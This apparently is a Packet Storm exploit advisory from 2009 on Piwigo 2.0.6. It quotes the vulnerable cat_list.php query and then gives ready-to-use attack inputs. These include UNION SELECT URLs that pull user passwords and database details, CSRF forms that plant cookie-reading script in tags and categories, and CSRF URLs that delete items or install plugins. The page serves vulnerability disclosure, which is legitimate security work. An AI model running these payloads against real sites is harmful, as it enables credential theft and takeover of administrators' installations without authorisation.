exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Piwigo 2.0.6 SQL Injection / Cross Site Scripting

Piwigo 2.0.6 SQL Injection / Cross Site Scripting
Posted Dec 13, 2009
Authored by mr_me

Piwigo version 2.0.6 suffers from remote SQL injection, cross site request forgery and cross site scripting vulnerabilities.

tags | exploit, remote, vulnerability, xss, sql injection, csrf
SHA-256 | 7c72c76c16aa2ff272df3138d054b4fa79cd33247ef20496da1fc0296c5d2d0b

Piwigo 2.0.6 SQL Injection / Cross Site Scripting

Change Mirror Download
#################################################################
#
# Piwigo v2.0.6 Multiple Vulnerabilities
# Found By: mr_me
# Download: http://piwigo.org/
# Tested On: Windows Vista
# Note: For educational purposes only
# Vulnerabilities: XSS, CSRF, SQL Injection
# Author contact date: 13/12/09
#
#################################################################

Note: There is possibly many other vulnerabilities but I need to sleep!

XSS Vulnerabilities:

When creating a "category" or a "tag" in the admin panel the user can submit javascript code that could be executed in the context of the browser.
This would not be significant as only the administrator can complete this functionalility, however this can be combined with CSRF for proper exploitation. (see below)

SQL Injection Vulnerabilities:

Note: This app uses "mysql_fetch_array()" which also details the full web root path when a SQL error is created.

Warning</b>: mysql_fetch_array() expects parameter 1 to be resource, boolean given in <b>C:\xampp\htdocs\piwigo-2.0.6\include\functions.inc.php</b> on line <b>936

The parent_id and image_id and unsanitized however image_id does not seem exploitable. Also when updating an image in the caddie there is a post back that has some possibly exploitable variables "associate", "dissociate" and "selection[]". Below is the vulnerable code for parent_id in cat_list.php

8<------------------------------------snip------------------------------------8<

else
{
$query.= '
WHERE id_uppercat = '.$_GET['parent_id'];
}

8<------------------------------------snip------------------------------------8<

exploit:

8<------------------------------------snip------------------------------------8<

http://[server]/piwigo-2.0.6/admin.php?page=cat_list&parent_id=-6+union+select+1,password,3,4,5,6+from+piwigo.piwigo_users--
http://[server]/piwigo-2.0.6/admin.php?page=cat_list&parent_id=-6+union+select+1,concat(0x1e,0x1e,version(),0x1e,user(),0x1e,database(),0x1e,0x20),3,4,5,6--

8<------------------------------------snip------------------------------------8<

http://127.0.0.1/piwigo-2.0.6/admin.php?page=picture_modify&cat_id=7&image_id=1'

[mysql error 1064] You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 3

CSRF vulnerabilities:

There are some very nice CSRF's in the admin panel. First of all when creating tags for the tag cloud and also creating a category.
So if we combine these CSRF's with XSS then we can login to the admin panel and execute SQL Injection :)

exploit:

8<------------------------------------snip------------------------------------8<

<form action="http://[server]/piwigo-2.0.6/admin.php?page=tags" method="post">
<fieldset>
<label>
<input type="hidden" value="<script>alert(document.cookie)</script>" name="add_tag" />
</label>
<p><input class="submit" type="submit" name="add" value="Submit" /></p>
</fieldset>
</form>

or

<form id="addVirtual" action="http://[server]/piwigo-2.0.6/admin.php?page=cat_list" method="post">
<input type="hidden" name="virtual_name" value="<script>alert(document.cookie)</script>" />
<input class="submit" type="submit" value="Submit" name="submitAdd" />
</form>

or

http://[server]/piwigo-2.0.6/admin.php?page=cat_list&delete=1
http://[server]/piwigo-2.0.6/admin.php?page=plugins_new&order=date&revision=1364&extension=234
http://[server]/piwigo-2.0.6/comments.php?delete=2

8<------------------------------------snip------------------------------------8<

Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    54 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    17 Files
  • 14
    May 14th
    11 Files
  • 15
    May 15th
    17 Files
  • 16
    May 16th
    13 Files
  • 17
    May 17th
    22 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    17 Files
  • 21
    May 21st
    18 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close